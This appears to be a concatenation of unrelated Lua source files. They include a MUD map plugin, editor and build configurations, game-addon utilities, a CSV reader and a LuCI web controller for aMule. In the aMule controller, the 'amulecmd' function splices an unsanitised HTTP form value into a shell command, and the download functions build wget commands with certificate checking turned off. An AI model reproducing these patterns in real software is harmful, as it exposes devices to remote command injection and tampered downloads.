map = MAPS[optMap]
end
for i = 1, num do
local row = {}
for n = 1, SIZE[GetVariable("map")][1] do
table.insert(row, " ")
end
if anchor == "start" then
table.insert(map, 1, row)
elseif anchor == "end" then
table.insert(map, #map + 1, row)
end
end
SIZE[GetVariable("map")][2] = SIZE[GetVariable("map")][2] + num
if anchor == "start" then
ChangeGridY(num)
end
DrawMap()
end
function AddColumns(num, anchor, optMap)
local map = MAPS[GetVariable("map")]
if optMap then
map = MAPS[optMap]
end
for i = 1, num do
for _, tileSet in pairs(map) do
if anchor == "start" then
table.insert(tileSet, 1, " ")
elseif anchor == "end" then
table.insert(tileSet, #tileSet + 1, " ")
end
end
end
SIZE[GetVariable("map")][1] = SIZE[GetVariable("map")][1] + num
if anchor == "start" then
ChangeGridX(num)
end
DrawMap()
end
function Import(map, overrideMessages) -- (table/string, boolean)
local loadedMap
if map and type(map) == "string" then
loadedMap = loadfile("worlds/plugins/armageddon/maps/"..map..".lua")
end
if loadedMap then
local p, pc, m, l = loadedMap()
SIZE[map] = {#m[1], #m}
PORTS[map] = p
PORT_COMMANDS[map] = pc
MAPS[map] = m
for title, info in pairs(l) do
LANDMARKS[title] = info
end
if not overrideMessages then
Note("Map Imported: ", map)
end
elseif type(map) == "table" then
MAPS[GetVariable("map")] = map
if not overrideMessages then
Note("Map Imported: ", GetVariable("map"))
end
DrawMap()
elseif not overrideMessages then
Note("Map Failed: ", map)
end
end
function Compass(name, line, wildcards)
local foundLandmark
for title, info in pairs(LANDMARKS) do
if line:match(title) or line:sub(1, #title) == title then
foundLandmark = info
end
end
if foundLandmark then
table.remove(moveList, 1)
ChangeMap(foundLandmark[1])
SetGrid(foundLandmark[2], foundLandmark[3])
else
if #moveList > 0 then
local move = table.remove(moveList, 1)
local didPort = Port(move)
if not didPort then
if move == "North" then SetVariable("grid_y", GetVariable("grid_y") - 1)
elseif move == "East" then SetVariable("grid_x", GetVariable("grid_x") + 1)
elseif move == "South" then SetVariable("grid_y", GetVariable("grid_y") + 1)
elseif move == "West" then SetVariable("grid_x", GetVariable("grid_x") - 1)
end
end
end
exits = wildcards[0]
DrawMap()
exits = nil
end
end
function MakeMoves() -- ()
for i = 1, #moveList do
local move = table.remove(moveList, 1)
if move == "North" then SetVariable("grid_y", GetVariable("grid_y") - 1)
elseif move == "East" then SetVariable("grid_x", GetVariable("grid_x") + 1)
elseif move == "South" then SetVariable("grid_y", GetVariable("grid_y") + 1)
elseif move == "West" then SetVariable("grid_x", GetVariable("grid_x") - 1)
end
end
end
function Setup() -- ()
-- make palette window
win2 = GetPluginID().."1"
-- make miniwindow
WindowCreate(win2,
0, 0, 352, 352, -- pos/size
4, -- docked to
4, -- flags
ColourNameToRGB "lightgray")
WindowLoadImage(win2, "ref", "worlds/plugins/armageddon/images/map/Tiles_Palette.png")
WindowRectOp(win2, 2, 0, 0, 0, 0, ColourNameToRGB "lightgray")
WindowDrawImage(win2, "ref", 0, 0, 0, 0, 1, 0, 0, 0, 0)
WindowSetZOrder(win2, 40)
MAP_LIST = loadfile("worlds/plugins/armageddon/maps/MapList.lua")()
-- load maps
for _, map in pairs(MAP_LIST) do
Import(map, true)
end
DoAfterSpecial(1, "DrawMap()", 12)
end
function OnPluginDisable() -- ()
WindowShow (win, false)
WindowShow (win2, false)
end
--|————————————————————————————————————————————————————————————————————————————————————————|
--| CALLS
--|————————————————————————————————————————————————————————————————————————————————————————|
Setup()
|
local alpha = require("alpha")
local dashboard = require("alpha.themes.dashboard")
local function footer()
local version = vim.version()
local print_version = "v" .. version.major .. "." .. version.minor .. "." .. version.patch
local datetime = os.date("%Y/%m/%d %H:%M:%S")
return print_version .. ' ' .. datetime
end
local banner = {
[[ _) ]],
[[ __ \ _ \ _ \ \ \ / | __ `__ \ ]],
[[ | | __/ ( | \ \ / | | | | ]],
[[_| _| \___| \___/ \_/ _| _| _| _| ]],
}
dashboard.section.header.val = banner
dashboard.section.buttons.val = {
dashboard.button('e', ' New file', ':enew<CR>'),
dashboard.button('f', ' Find file', ':NvimTreeOpen<CR>'),
dashboard.button('s', ' Settings', ':e $MYVIMRC<CR>'),
dashboard.button('u', ' Update plugins', ':PackerUpdate<CR>'),
dashboard.button('q', ' Quit', ':qa<CR>'),
}
dashboard.section.footer.val = footer()
alpha.setup(dashboard.config)
|
--[[
TheNexusAvenger
Loads the game commands and types.
--]]
local ServerScriptService = game:GetService("ServerScriptService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NexusAdminAPI = require(ServerScriptService:WaitForChild("NexusAdmin"))
local NexusAdminTypes = ReplicatedStorage:WaitForChild("NexusAdminTypes")
local ClientTypesLoader = script.Parent:WaitForChild("ClientTypesLoader")
local Commands = script.Parent:WaitForChild("Commands")
--Load the types.
for _,Module in pairs(NexusAdminTypes:GetChildren()) do
if Module:IsA("ModuleScript") then
require(Module)(NexusAdminAPI)
end
end
--Loads the commands.
for _,Module in pairs(Commands:GetChildren()) do
if Module:IsA("ModuleScript") then
local CommandData = require(Module)
CommandData.Prefix = NexusAdminAPI.Configuration.CommandPrefix
CommandData.Category = "GameCommands"
CommandData.AdminLevel = 2
NexusAdminAPI.Registry:LoadCommand(CommandData)
end
end
--Load the types on the client.
NexusAdminAPI.Replicator:GiveStarterScript(ClientTypesLoader)
--Return true so that it doesn't error.
return true
|
project "SOIL2"
kind "StaticLib"
language "C++"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bint/" .. outputdir .. "/%{prj.name}")
files
{
"srcs/etc1_utils.c",
"srcs/image_DXT.c",
"srcs/image_helper.c",
"srcs/SOIL2.c"
}
filter "system:windows"
buildoptions { "-std=c17", "-lgdi32" }
systemversion "latest"
staticruntime "On"
--files{}
includedirs {
"incs"
}
filter "system:windows"
buildoptions { "-std=c17", "-lgdi32" }
systemversion "latest"
staticruntime "On"
filter { "system:windows", "configurations:Release" }
buildoptions "/MT"
|
-- Returns the greatest numeric key in a table.
function xdecor.maxn(T)
local n = 0
for k in pairs(T) do
if k > n then n = k end
end
return n
end
-- Returns the length of an hash table.
function xdecor.tablelen(T)
local n = 0
for _ in pairs(T) do n = n + 1 end
return n
end
-- Deep copy of a table. Borrowed from mesecons mod (https://github.com/Jeija/minetest-mod-mesecons).
function xdecor.tablecopy(T)
if type(T) ~= "table" then return T end -- No need to copy.
local new = {}
for k, v in pairs(T) do
if type(v) == "table" then
new[k] = xdecor.tablecopy(v)
else
new[k] = v
end
end
return new
end
|
--------------------------------------------------------------------
-- This file was automatically generated by ProjectGenerator
-- which is tooling part the build system designed for GUCEF
-- (Galaxy Unlimited Framework)
-- For the latest info, see http://www.VanvelzenSoftware.com/
--
-- The contents of this file are placed in the public domain. Feel
-- free to make use of it in any way you like.
--------------------------------------------------------------------
--
-- Configuration for module: MyGUI.OgrePlatform
configuration( { "LINUX32" } )
project( "MyGUI.OgrePlatform" )
configuration( { "LINUX64" } )
project( "MyGUI.OgrePlatform" )
configuration( { "WIN32" } )
project( "MyGUI.OgrePlatform" )
configuration( {} )
location( os.getenv( "PM5OUTPUTDIR" ) )
configuration( {} )
targetdir( os.getenv( "PM5TARGETDIR" ) )
configuration( {} )
language( "C" )
configuration( { "LINUX32" } )
language( "C++" )
configuration( { "LINUX64" } )
language( "C++" )
configuration( { "WIN32" } )
language( "C++" )
configuration( { "LINUX32" } )
configuration( { LINUX32 } )
kind( "SharedLib" )
configuration( { "LINUX64" } )
configuration( { LINUX64 } )
kind( "SharedLib" )
configuration( { "WIN32" } )
configuration( { WIN32 } )
kind( "SharedLib" )
configuration( { LINUX32 } )
links( { "MyGUI.Engine", "Ogre" } )
links( { "MyGUI.Engine", "Ogre" } )
configuration( { LINUX64 } )
links( { "MyGUI.Engine", "Ogre" } )
links( { "MyGUI.Engine", "Ogre" } )
configuration( { WIN32 } )
links( { "MyGUI.Engine", "Ogre" } )
links( { "MyGUI.Engine", "Ogre" } )
configuration( { "LINUX32" } )
vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } }
files( {
"../../../Common/FileSystemInfo/FileSystemInfo.h",
"include/MyGUI_LastHeader.h",
"include/MyGUI_OgreDataManager.h",
"include/MyGUI_OgreDataStream.h",
"include/MyGUI_OgreDiagnostic.h",
"include/MyGUI_OgrePlatform.h",
"include/MyGUI_OgreRTTexture.h",
"include/MyGUI_OgreRenderManager.h",
"include/MyGUI_OgreTexture.h",
"include/MyGUI_OgreVertexBuffer.h"
} )
vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } }
files( {
"src/MyGUI_OgreDataManager.cpp",
"src/MyGUI_OgreDataStream.cpp",
"src/MyGUI_OgreRTTexture.cpp",
"src/MyGUI_OgreRenderManager.cpp",
"src/MyGUI_OgreTexture.cpp",
"src/MyGUI_OgreVertexBuffer.cpp"
} )
configuration( { "LINUX64" } )
vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } }
files( {
"../../../Common/FileSystemInfo/FileSystemInfo.h",
"include/MyGUI_LastHeader.h",
"include/MyGUI_OgreDataManager.h",
"include/MyGUI_OgreDataStream.h",
"include/MyGUI_OgreDiagnostic.h",
"include/MyGUI_OgrePlatform.h",
"include/MyGUI_OgreRTTexture.h",
"include/MyGUI_OgreRenderManager.h",
"include/MyGUI_OgreTexture.h",
"include/MyGUI_OgreVertexBuffer.h"
} )
vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } }
files( {
"src/MyGUI_OgreDataManager.cpp",
"src/MyGUI_OgreDataStream.cpp",
"src/MyGUI_OgreRTTexture.cpp",
"src/MyGUI_OgreRenderManager.cpp",
"src/MyGUI_OgreTexture.cpp",
"src/MyGUI_OgreVertexBuffer.cpp"
} )
configuration( { "WIN32" } )
vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } }
files( {
"../../../Common/FileSystemInfo/FileSystemInfo.h",
"include/MyGUI_LastHeader.h",
"include/MyGUI_OgreDataManager.h",
"include/MyGUI_OgreDataStream.h",
"include/MyGUI_OgreDiagnostic.h",
"include/MyGUI_OgrePlatform.h",
"include/MyGUI_OgreRTTexture.h",
"include/MyGUI_OgreRenderManager.h",
"include/MyGUI_OgreTexture.h",
"include/MyGUI_OgreVertexBuffer.h"
} )
vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } }
files( {
"src/MyGUI_OgreDataManager.cpp",
"src/MyGUI_OgreDataStream.cpp",
"src/MyGUI_OgreRTTexture.cpp",
"src/MyGUI_OgreRenderManager.cpp",
"src/MyGUI_OgreTexture.cpp",
"src/MyGUI_OgreVertexBuffer.cpp"
} )
configuration( {} )
includedirs( { "../../../../Ogre/OgreMain/include", "../../../../Ogre/OgreMain/include/Hash", "../../../../Ogre/OgreMain/include/Threading", "../../../../Ogre/OgreMain/src", "../../../../Ogre/OgreMain/src/nedmalloc", "../../../../Ogre/OgreMain/src/stbi", "../../../../Ogre/include", "../../../../freetype/include", "../../../../freetype/include/freetype", "../../../../freetype/include/freetype/config", "../../../../freetype/include/freetype/internal", "../../../../freetype/include/freetype/internal/services", "../../../../freetype/src", "../../../../freetype/src/winfonts", "../../../MyGUIEngine/include" } )
configuration( { "LINUX32" } )
includedirs( { "../../../Common/FileSystemInfo", "include" } )
configuration( { "LINUX64" } )
includedirs( { "../../../Common/FileSystemInfo", "include" } )
configuration( { "WIN32" } )
includedirs( { "../../../../Ogre/OgreMain/include/WIN32", "../../../../Ogre/OgreMain/src/WIN32", "../../../Common/FileSystemInfo", "include" } )
|
workspace "OpenDireEngine"
architecture "x64"
configurations { "Debug", "Release" }
startproject "OpenDireEngine"
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
IncludeDir = {}
IncludeDir["GLFW"] = "OpenDireEngine/vendor/GLFW/include"
IncludeDir["Glad"] = "OpenDireEngine/vendor/Glad/include"
IncludeDir["glm"] = "OpenDireEngine/vendor/glm"
IncludeDir["ImGui"] = "OpenDireEngine/vendor/imgui"
include "OpenDireEngine/vendor/GLFW"
include "OpenDireEngine/vendor/Glad"
include "OpenDireEngine/vendor/imgui"
project "OpenDireEngine"
location "OpenDireEngine"
kind "ConsoleApp"
language "C++"
targetdir ("bin/" .. outputdir .. "/%{prj.name}")
objdir ("bin-int/" .. outputdir .. "/%{prj.name}")
systemversion "latest"
files {
"%{prj.name}/src/**.h",
"%{prj.name}/src/**.hpp",
"%{prj.name}/src/**.cpp",
"%{prj.name}/vendor/glm/glm/**.hpp",
"%{prj.name}/vendor/glm/glm/**.inl",
"%{prj.name}/vendor/stb_image/**.h",
"%{prj.name}/vendor/stb_image/**.cpp"
}
includedirs {
"%{prj.name}/vendor/glad/include",
"%{prj.name}/vendor/glad/src",
"%{prj.name}/vendor/glfw/include",
"%{prj.name}/vendor/glfw/src",
"%{prj.name}/vendor/opengl3/include",
"%{IncludeDir.glm}",
"${IncludeDir.ImGui}",
"%{prj.name}/vendor/stb_image"
}
links {
"GLFW",
"Glad",
"ImGui",
"opengl32.lib"
}
filter "configurations:Debug"
defines { "DEBUG" }
symbols "on"
filter "configurations:Release"
defines { "NDEBUG" }
optimize "on"
|
Multishot_dbBlacklist = {
[16803] = true, -- Naxxramas: DeathKnight Understudy (Razuvious "adds")
[15930] = true, -- Naxxramas: Feugen (Thaddius pre-event)
[15929] = true, -- Naxxramas: Stalagg (Thaddius pre-event)
[32933] = true, -- Ulduar: Left Arm (Kologarn's arms)
[32934] = true, -- Ulduar: Right Arm (Kologarn's arms)
[33136] = true, -- Ulduar: Guardian of Yogg-Saron
[37217] = true, -- Icecrown Citadel: Precious (Festergut/Rotface "pets")
[37025] = true, -- Icecrown Citadel: Stinky (Festergut/Rotface "pets")
[36477] = true, -- Pit of Saron: Ick (bug report, commentid: 238028)
}
|
local ReflectionDatabase = require(script.Parent.ReflectionDatabase)
local CanonicalProperty = require(script.Parent.CanonicalProperty)
local patches = {
Part = {
Size = {
type = {type = "data", name = "Vector3"},
tags = {},
canSave = true,
canLoad = true,
},
Color = {
type = {type = "data", name = "Color3"},
tags = {},
canSave = true,
canLoad = true,
},
},
}
local PropertySelection = {
All = {
ignoreDefaults = false,
ignoreUnserializable = false,
},
Minimal = {
ignoreDefaults = true,
ignoreUnserializable = false,
},
MinimalSerializable = {
ignoreDefaults = true,
ignoreUnserializable = true,
},
Serializable = {
ignoreDefaults = false,
ignoreUnserializable = true,
},
}
local function equalish(fromInstance, fromDatabase)
local typeA = typeof(fromInstance)
local typeB = typeof(fromDatabase)
if typeA == "EnumItem" and typeB == "number" then
return fromInstance.Value == fromDatabase
else
return fromInstance == fromDatabase
end
end
local function readInstance(instance, selectionMode)
if selectionMode == nil then
selectionMode = PropertySelection.All
end
local ignoreDefaults = selectionMode.ignoreDefaults
local ignoreUnserializable = selectionMode.ignoreUnserializable
local className = instance.ClassName
local reflectionEntry = ReflectionDatabase.dump.classes[className]
local output = {}
while reflectionEntry ~= nil do
for key, propertyDetails in pairs(reflectionEntry.properties) do
local patchedInstance = patches[className]
if patchedInstance ~= nil then
local patchedProperty = patchedInstance[key]
if patchedProperty ~= nil then
propertyDetails = patchedProperty
end
end
local success, value = CanonicalProperty.read(instance, key)
if success then
local skip = false
if ignoreUnserializable then
if propertyDetails.tags.ReadOnly or not propertyDetails.canSave then
skip = true
end
end
if not skip and ignoreDefaults then
local defaultInstance = ReflectionDatabase.dump.defaults[className]
if defaultInstance ~= nil then
local defaultValue = defaultInstance[key]
if equalish(value, defaultValue) then
skip = true
end
end
end
if not skip then
output[key] = value
end
else
-- warn("Couldn't read:", value)
end
end
local superclass = reflectionEntry.superclass
if superclass == nil then
break
end
reflectionEntry = ReflectionDatabase.dump.classes[superclass]
end
return output
end
local function writeInstance(instance, properties)
for key, value in pairs(properties) do
CanonicalProperty.write(instance, key, value)
end
end
return {
PropertySelection = PropertySelection,
readInstance = readInstance,
writeInstance = writeInstance,
}
|
function splitargs(args)
local retval = {}
local spat, epat, buf, quoted = [=[^(['"])]=], [=[(['"])$]=]
for str in args:gmatch("%S+") do
local squoted = str:match(spat)
local equoted = str:match(epat)
local escaped = str:match([=[(\*)['"]$]=])
if squoted and not quoted and not equoted then
buf, quoted = str, squoted
elseif buf and equoted == quoted and #escaped % 2 == 0 then
str, buf, quoted = buf .. ' ' .. str, nil, nil
elseif buf then
buf = buf .. ' ' .. str
end
if not buf then table.insert(retval, (str:gsub(spat,""):gsub(epat,""))) end
end
if buf then error("Missing matching quote for "..buf) end
return retval
end
function gmcpVarByPath(varPath)
local temp = gmcp
for varStep in varPath:gmatch("([^\\.]+)") do
if temp and temp[varStep] then
temp = temp[varStep]
else
return nil
end
end
return temp
end
-- Handles matching argument text to a list of subcommands.
-- Each subcommand should be an object with the following properties:
-- args: List of elements to match input against, each matching:
-- a string to match exactly for the argument in this position
-- a token indicating a type of variable argument in this position, one of:
-- argName:string - any string
-- argName:string? - any string, optional
-- argName:number - any number
-- argName:number? - any number, optional
-- all optional arguments must appear after all non-optional arguments.
-- action: A function, taking each variable argument as an argument.
-- helpText: Description of what this subcommand does.
--
-- If
-- For example:
-- local subcommands = {{
-- "args": {"list"},
-- "action": function() ...do stuff... end,
-- "helpText": "List the things."
-- },{
-- "args": {"show", "<thingName:string>"},
-- "action": function(thingName) ...do stuff... end,
-- "helpText": "Find a given thing by name and show it"
-- }}
--
-- This would match against the second subcommand, effectively calling your function
-- with "testName" as the argument.
-- processCommand("shopkeeper", subcommands, "show testName")
--
-- Calling this with "help" or any nonmatching argument will print out the list of
-- subcommands and descriptions, using the commandName argument as the overall command
-- name for documentation.
function processCommand(commandName, subcommands, input)
inputArgs = splitargs(input)
for _, subcommand in pairs(subcommands) do
local match = true
local matchArgs = {}
local foundOptArg = false
-- Go through each subcommand arg to look for non-matches. Innocent until proven guilty.
for i, arg in ipairs(subcommand.args) do
local startIdx, _, argName, varType, argOpt = arg:find("([^:]+):?([^?]*)([?]?)")
if not startIdx then
error("Invalid subcommand argument specifier: "..arg)
elseif foundOptArg and argOpt ~= "?" then
error("Found non-optional argument ("..arg..") after optional argument.")
end
if varType == "" then
-- Exact match for subcommand name
if inputArgs[i] ~= argName then
match = false
end
else
-- Variable. Check type and optional state
local rawValue = inputArgs[i]
if varType == "number" then
rawValue = tonumber(rawValue)
if not rawValue then
match = false
end
end
-- Check that optional arguments are given values, or no match
if argOpt == "?" then
foundOptArg = true
elseif not rawValue or rawValue == "" then
match = false
end
table.insert(matchArgs, rawValue)
end
end
-- Got too many arguments, fail
if #inputArgs > #subcommand.args then
match = false
end
if match then
subcommand.action(unpack(matchArgs))
return
end
end
if not (#inputArgs == 1 and inputArgs[1] == "help") then
cecho("<red>Invalid syntax.<reset>\n\n")
end
cecho("<white>Available options for "..commandName.." command:<reset>")
for _, subcommand in pairs(subcommands) do
cecho("\n\n<yellow>"..commandName)
for _, arg in ipairs(subcommand.args) do
local _, _, argName, varType, argOpt = arg:find("([^:]+):?([^?]*)([?]?)")
if varType == "" then
cecho(" <yellow>"..argName)
elseif argOpt == "?" then
cecho(" <yellow>[<ansi_light_black>"..argName.."<yellow>]")
else
cecho(" <yellow><<light_gray>"..argName.."<yellow>>")
end
end
cecho("<reset>\n\n"..subcommand.helpText)
end
echo("\n\n")
end
|
--[[
# csv : utilities
DARE, Copyright (c) 2017, Tim Menzies
All rights reserved, BSD 3-Clause License
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that
the following conditions are met:
* Redistributions of source code must retain the above
copyright notice, this list of conditions and the
following disclaimer.
* Redistributions in binary form must reproduce the
above copyright notice, this list of conditions and the
following disclaimer in the documentation and/or other
materials provided with the distribution.
* Neither the name of the copyright holder nor the names
of its contributors may be used to endorse or promote
products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
--]]
-------------------------------------------------------
local the = require "config"
local notsep = "([^" .. the.sep .. "]+)" -- not cell seperator
local dull = "['\"\t\n\r]*" -- white space, quotes
local padding = "%s*(.-)%s*" -- space around words
local comments = "#.*" -- comments
local files = {txt=true, csv=true}
--------------------------------------------------------
local function incomplete(txt) -- must join line to next
return string.sub(txt,-1) == the.sep end
-------------------------------------------------------
local function ignored(txt) -- ignore this column
return string.find(txt,the.ignore) == nil end
-------------------------------------------------------
local function cellsWeAreNotIgnoring(txt,wme)
local out,col = {},0
for word in string.gmatch(txt,notsep) do
col = col + 1
if wme.first then
wme.use[col] = ignored(word) end
if wme.use[col] then
out[#out+1] = tonumber(word) or word end end
return out end
-------------------------------------------------------
local function withOneLine(txt,wme)
txt= txt:gsub(padding,"%1")
:gsub(dull,"")
:gsub(comments,"")
if #txt > 0 then
wme.fn( cellsWeAreNotIgnoring(txt,wme) ) end end
-------------------------------------------------------
local function withEachLine(src,wme)
local cache={}
local function line1(line)
cache[#cache+1] = line
if not incomplete(line) then
cache= withOneLine(table.concat(cache), wme)
cache= {}
wme.first=false end end
-------------------------------------
if files[string.sub(src,-3,-1)] then
io.input(src)
for line in io.lines() do
line1(line) end
else
for line in src:gmatch("[^\r\n]+") do
line1(line) end end end
-------------------------------------------------------
return function (src,fn)
withEachLine(src, {fn=fn, first=true, use={}}) end
|
--[[
LuCI - Lua Configuration Interface - amule support
Copyright 2016 maz-1 <ohmygod19993@gmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
]]--
module("luci.controller.amule", package.seeall)
local uci = luci.model.uci.cursor()
local configdir = uci:get("amule", "main", "config_dir")
function index()
if not nixio.fs.access("/etc/config/amule") then
return
end
entry({"admin", "nas"}, firstchild(), "NAS", 45).dependent = false
entry({"admin", "nas", "amule"}, cbi("amule"), _("aMule Settings")).dependent = true
entry({"admin", "nas", "amule", "logview"}, call("logread")).leaf = true
entry({"admin", "nas", "amule", "status"}, call("get_pid")).leaf = true
entry({"admin", "nas", "amule", "amulecmd"}, call("amulecmd")).leaf = true
entry({"admin", "nas", "amule", "startstop"}, post("startstop")).leaf = true
entry({"admin", "nas", "amule", "down_kad"}, post("down_kad")).leaf = true
entry({"admin", "nas", "amule", "down_ed2k"}, post("down_ed2k")).leaf = true
end
-- called by XHR.get from detail_logview.htm
function logread()
-- read application settings
local uci = luci.model.uci.cursor()
local logdir = uci:get("amule", "main", "config_dir") or "/var/run/amule"
uci:unload("amule")
local ldata=nixio.fs.readfile(logdir .. "/logfile")
if not ldata or #ldata == 0 then
ldata="_nodata_"
end
luci.http.write(ldata)
end
-- called by XHR.get from detail_startstop.htm
function startstop()
local pid = get_pid(true)
if pid > 0 then
luci.sys.call("/etc/init.d/amule stop")
nixio.nanosleep(1) -- sleep a second
if nixio.kill(pid, 0) then -- still running
nixio.kill(pid, 9) -- send SIGKILL
end
pid = 0
else
luci.sys.call("/etc/init.d/amule start")
nixio.nanosleep(1) -- sleep a second
pid = tonumber(luci.sys.exec("pidof amuled")) or 0
if pid > 0 and not nixio.kill(pid, 0) then
pid = 0 -- process did not start
end
end
luci.http.write(tostring(pid)) -- HTTP needs string not number
end
function down_kad()
url = uci:get("amule", "main", "kad_nodes_url")
data_path = configdir .. "/nodes.dat"
proto = string.gsub(url, "://%S*", "")
proto_opt = ( proto == "https" ) and " --no-check-certificate" or ""
cmd = "wget -O /tmp/down_nodes.dat \"" .. url .. "\"" .. proto_opt ..
" && cat /tmp/down_nodes.dat > " .. "\"" .. data_path .. "\""
luci.sys.call(cmd)
end
function down_ed2k()
url = uci:get("amule", "main", "ed2k_servers_url")
data_path = configdir .. "/server.met"
proto = string.gsub(url, "://%S*", "")
proto_opt = ( proto == "https" ) and " --no-check-certificate" or ""
cmd = "wget -O /tmp/down_server.met \"" .. url .. "\"" .. proto_opt ..
" && cat /tmp/down_server.met > " .. "\"" .. data_path .. "\""
luci.sys.call(cmd)
end
-- called by XHR.poll from detail_startstop.htm
-- and from lua (with parameter "true")
function get_pid(from_lua)
local pid_amuled = tonumber(luci.sys.exec("pidof amuled")) or 0
local amuled_stat = false
if pid_amuled > 0 and not nixio.kill(pid_amuled, 0) then
pid_amuled = 0
end
if pid_amuled > 0 then
amuled_stat =true
else
amuled_stat =false
end
local pid_amuleweb = tonumber(luci.sys.exec("pidof amuleweb")) or 0
local amuleweb_stat = false
if pid_amuleweb > 0 and not nixio.kill(pid_amuleweb, 0) then
pid_amuleweb = 0
end
if pid_amuleweb > 0 then
amuleweb_stat =true
else
amuleweb_stat =false
end
local status = {
amuled = amuled_stat,
amuled_pid = pid_amuled,
amuleweb = amuleweb_stat
}
if from_lua then
return pid_amuled
else
luci.http.prepare_content("application/json")
luci.http.write_json(status)
end
end
function amulecmd()
local re =""
local rv = { }
local cmd = luci.http.formvalue("cmd")
local full_cmd = "HOME=\""..configdir.. "\" /usr/bin/amulecmd".." -c \""..cmd.."\" 2>&1"
local shellpipe = io.popen(full_cmd,"rw")
re = shellpipe:read("*a")
shellpipe:close()
if not re then
re=""
end
re = string.gsub(re, "This is amulecmd %S*\n", "")
re = string.gsub(re, "Creating client%S*\n", "")
re = string.gsub(re, "Succeeded! Connection established to aMule %S*\n", "")
re = string.gsub(re, "\n", "\r\n")
rv[#rv+1]=re
if #rv > 0 then
luci.http.prepare_content("application/json")
luci.http.write_json(rv)
return
end
luci.http.status(404, "No such device")
end
|
-- add tasks
for _, taskpath in ipairs(os.dirs("*")) do
-- add task
local taskname = path.basename(taskpath)
task(taskname)
-- on run
on_run(function ()
-- imports
import("core.base.option")
import("core.base.task")
import("core.project.config")
import("core.project.project")
-- get case name
local casename = option.get("casename")
assert(casename, "no given testing name, please run `$xmake " .. taskname .. " --help` for getting more info.")
-- load config
config.load()
-- walk all tests
for _, testpath in ipairs(os.dirs(path.join(os.scriptdir(), taskname, casename, "*"))) do
-- the target name
local testname = path.basename(testpath)
local targetname = taskname .. "_" .. casename .. "_" .. testname
-- run the target task
task.run("run", {target = targetname, arguments = option.get("arguments")})
end
end)
-- set menu
set_menu({
-- usage
usage = "xmake " .. taskname .. " casename [options]"
-- description
, description = "The " .. taskname .. " benchmark."
-- options
, options =
{
{'n', "casename", "kv", nil, "The case name."
-- show all cases
, function ()
-- imports
import("core.project.project")
-- make description
local description = {}
for i, casepath in ipairs(os.dirs(format("%s/src/%s/*", project.directory(), taskname))) do
local casename = path.basename(casepath)
description[i] = " - " .. casename
end
-- get it
return description
end }
, {}
, {nil, "arguments", "vs", nil, "The script arguments." }
}
})
end
-- add tests
includes("**/xmake.lua")
|
-- Copyright (c) 2021 wzhengsen
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-- THE SOFTWARE.
local cc = cc;
local ccui = ccui;
local type = type;
-- 一些自定义的属性等。
local Node = cc.Node;
function Node.set:Parent(p)
if class.IsNull(p) then
self:RemoveFromParent();
else
local op = self:GetParent();
if op then
if op ~= p then
self:Retain();
self:RemoveFromParent(false);
p:AddChild(self);
self:Release();
end
else
p:AddChild(self);
end
end
end
Node.set.X = Node.SetPositionX;
Node.set.Y = Node.SetPositionY;
Node.set.Z = Node.SetPositionZ;
Node.set.XY = Node.SetPosition;
Node.get.X = Node.GetPositionX;
Node.get.Y = Node.GetPositionY;
Node.get.Z = Node.GetPositionZ;
Node.get.XY = Node.GetPositionXY;
local Label = cc.Label;
function Label.set:Italics(b)
if b then
self:EnableItalics();
else
self:DisableEffect(cc.LabelEffect.ITALICS);
end
end
function Label.set:Bold(b)
if b then
self:EnableBold();
else
self:DisableEffect(cc.LabelEffect.BLOD);
end
end
function Label.set:Underline(b)
if b then
self:EnableUnderline();
else
self:DisableEffect(cc.LabelEffect.UNDERLINE);
end
end
function Label.set:Strikethrough(b)
if b then
self:EnableStrikethrough();
else
self:DisableEffect(cc.LabelEffect.STRIKETHROUGH);
end
end
function Label.set:Shadow(bc)
if bc then
